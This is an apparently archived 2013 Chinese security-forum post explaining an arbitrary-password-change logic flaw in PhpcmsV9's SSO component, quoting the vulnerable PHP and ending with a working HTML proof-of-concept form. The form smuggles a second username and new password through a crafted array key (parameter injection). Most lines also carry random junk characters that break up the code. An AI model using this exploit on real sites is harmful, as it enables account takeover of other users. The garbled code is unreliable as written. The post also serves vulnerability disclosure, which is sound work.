中国网络渗透测试联盟

标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发 [打印本页]

作者: admin    时间: 2013-2-23 14:46
标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:: O% M9 S4 Y' l) c! Q9 \) C
" R  Q% M3 V1 z3 C' f6 r

, T6 e. C- T" t& |6 [# j3 P0 q" yparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);; U% l1 ~  b+ o# [

/ E0 K4 [, S" L$ a在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。. e% ]2 I* Z: y' G7 M$ i3 i

/ Q& c& m) t! Q$ o) B6 T7 W" I我把它留给了你们。$ K4 q! ~0 n) Z  I9 I
不知道你们发现了它没有。  f- z+ l; q1 Y9 B& O$ ?2 v
# j) o$ A/ O9 ^% r2 R: ^
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。+ s" a* D- P6 l; X% Z

) N8 L, o# R1 O+ v! ]# F# F所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。& v, H+ R# ?6 q1 G% A+ v/ i: Z* j
; j6 Z( f- U  e4 F! e) z9 L3 c
也就是
  D1 H( u. S: C# I# W
/ D5 C& [2 a2 f5 M; r/ N$ {* \) `0 z9 @username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
6 Z( E( K6 t! q$ v0 r! H# ~9 ?  B- g! w* [! d$ n: W
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。! @7 G6 p* |" k# `& i2 G

' m- b0 \) X5 f5 R4 F: V( P
8 G+ S  _3 M1 U' j( \8 R其实我们有这样的机会,看看代码,如下:
" p! P/ v9 b4 c. C. J2 D
5 E+ H5 S. Q  [0 b  v; ~
; U2 O! _" x/ m) g! o1 Kpublic function auth_data($data) {; T3 Q7 H/ {# r5 h# b$ f/ \
                $s = $sep = '';5 |4 K; [8 ^- C4 F1 E' q
                foreach($data as $k => $v) {
! f1 c; I0 b# ]9 ?2 I! T                        if(is_array($v)) {
) X* F( K) C+ J) m0 G+ z                                $s2 = $sep2 = '';
0 |- ^, u" R! E: q                                foreach($v as $k2 => $v2) {. b' D7 H' I0 A4 A4 ^
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
: l5 {0 V" g% h  s+ V) M                                        $sep2 = '&';
! X9 o# j, a. w: [; j3 y                                }, _8 |* p9 w2 o. Y0 ^, V9 @, S! `
                                $s .= $sep.$s2;
, K! M$ a, D4 i                        } else {$ p. x; j4 M: U! Y# h( P
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);; q( o5 D0 ~" `  I7 H0 C
                        }6 j/ M) `) U4 ?" _) T( x( B
                        $sep = '&';. y& q) U8 M  ]- |1 r, S
                }* D8 D% n* U: r
* x/ Y  ?* G. t$ g3 a% ?/ v
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
/ I* D+ e, u; ]                return $auth_s;
6 H( q) R. M, p7 u        }, W5 X6 _- ~; T

  h  J3 r7 Y' G可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。" X# H: ~8 T6 f& L, X" {
+ b1 r  _9 d& O) ~6 U
举个例子
/ V. ]' Y9 Q. l5 V8 ~) }
" N& ^: m0 J0 o6 D$ w$a[aaa=a&bbb] = 'a';% g$ Y7 f) L* b* H# e, ]& `
& g5 ?$ H. j/ y' o9 x
会变成aaa=a&bbb=a2 J" P4 [. F- ~& ^) m6 Z8 b* c
: c) q5 n1 }1 t5 M: Q) e" T6 M, Q
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
$ d9 g" Q5 x7 C' X7 X8 n4 A- @2 M" S) s/ v7 o5 @
这个时候,我们可以再去看一个函数。
  E! i: y; F5 I4 y+ b
$ T% p+ {/ ~  Z( C$ [) V就在这个文件内:6 J* D& T" X/ y! x. ^

" C7 ?6 Q' Q/ Q; F0 r0 k3 X) X2 o
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {; Y; s" ~8 [# F& i) m' \1 w
                if($email && !$this->_is_email($email)) {
- g" J# @7 q# p1 W0 [0 O8 R/ U                        return -4;
! Q: `8 O; u- e+ ~                }
+ I$ _6 d9 M- n0 E4 g                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));3 z+ G4 k9 W$ T/ Q! \  X/ ~0 ^
        }& ?7 z' J; k5 s7 _
/ F- j! c/ l! g3 ^0 @3 k# A% W- d
这是向通行证发了这样一个请求。+ |' N6 F# v; z- @; G1 M8 b

( B7 a2 }9 E" O+ W4 A. O2 f我们再跟到通信证代码里去看看,就会有所发现。
8 \# j5 }6 K; e( r9 Y& J9 T% X3 X. M1 O6 i

& b1 X3 G' C& j% E# zpublic function edit() {7 j& P' `& {7 g6 U
//能省就省,太长了不是吗?7 N% {, |. i4 S' g6 s
  x, I+ m' O# b: i8 I' g! e
if($this->username) {) o1 T* V1 V1 _- V0 o: G* B7 V
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。( v9 ?; z+ y; y  E
                                $res = $this->db->update($data, array('username'=>$this->username));, v: ~4 l. U" u+ t7 ]6 z7 w
                        } else {
1 f( J. x* F  R6 P2 d7 j! G5 W                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
- L3 a1 f' m7 ^+ N9 V6 a5 m$ X                                $res = $this->db->update($data, array('uid'=>$this->uid));
2 u  ]9 s- |" _* X$ x9 I: ~                        }) _7 _/ c5 T3 \( e* O* K
) Q' R6 M& \7 r+ |! u
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
) U1 C2 J/ k& J9 M3 H; b. U1 |! S: Y
" B+ s! _$ m1 i) Z' D- u& ]: `% R3 Gpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
0 a5 U5 m3 Y/ W, P+ T6 f+ b2 N7 z
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。/ X, }: I. M9 A# A' y7 v

( \4 w; m0 R4 ^- W2 p  B我当然找到了:0 b+ Q+ |/ X; [9 X
phpcms9/phpcms/modules/member/index.php
& D9 M' u: U7 X# H$ f2 g4 [: i: Y, K
) c; k4 q* G/ @9 @$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
. _5 Y: w. U2 |( t. S
2 r5 m5 r' [2 h; o) u, G5 y' R然后就没有然后了。
  i  ~1 N& O' G( Y; [
8 W8 [& h, j$ {" G/ s<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
9 b( [' x6 p2 H* f- t6 W& T5 U5 o                                <table width="100%" cellspacing="0" class="table_form">2 P3 D4 k: o0 d6 g
                                        <tr>5 V  |+ O7 B4 a) n/ T( y+ Y
                                                <th width="80">邮箱:</th>        ) o5 w/ b; x4 v3 a2 d$ j4 S3 R
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>$ x) ~$ c- E  O3 @7 `* e0 {
                                        </tr>  H5 ~! S! {( C3 ^, g" i( w4 J+ {
                                        <tr>% e' k' N% e2 \
                                                <th width="80">原密码:</th>        
# z3 \4 B4 C! y/ Y9 D6 B                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>; [3 f$ `" B% Y+ V. h4 g# [- U. B8 D
                                        </tr>
2 ~3 m9 ?. ^7 K/ X. c# x                                        <tr>; T. A, a. F- [
                                                <th>新密码:</th>4 J  a. p8 c1 I1 o' e! j, z0 |
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
) T3 @# W+ v& p' _' D1 A                                        </tr>
8 \+ K7 Y! ?3 u8 `1 K0 J  B                                        <th></th>
( X6 C+ J/ p) J2 V0 z3 r7 d- |                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
0 f7 ^# G) R# B. Y: z. @2 t# B                                        </tr>. r& C- ^* b4 N$ D# P
                                </table>
- ?& L+ c+ g  A4 ^4 ^. d. A. |7 f* M
                               
) e: y  S, ?9 T4 p3 m+ c7 h                        </form>8 w( t: o7 q7 T  ~  m, U! C





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2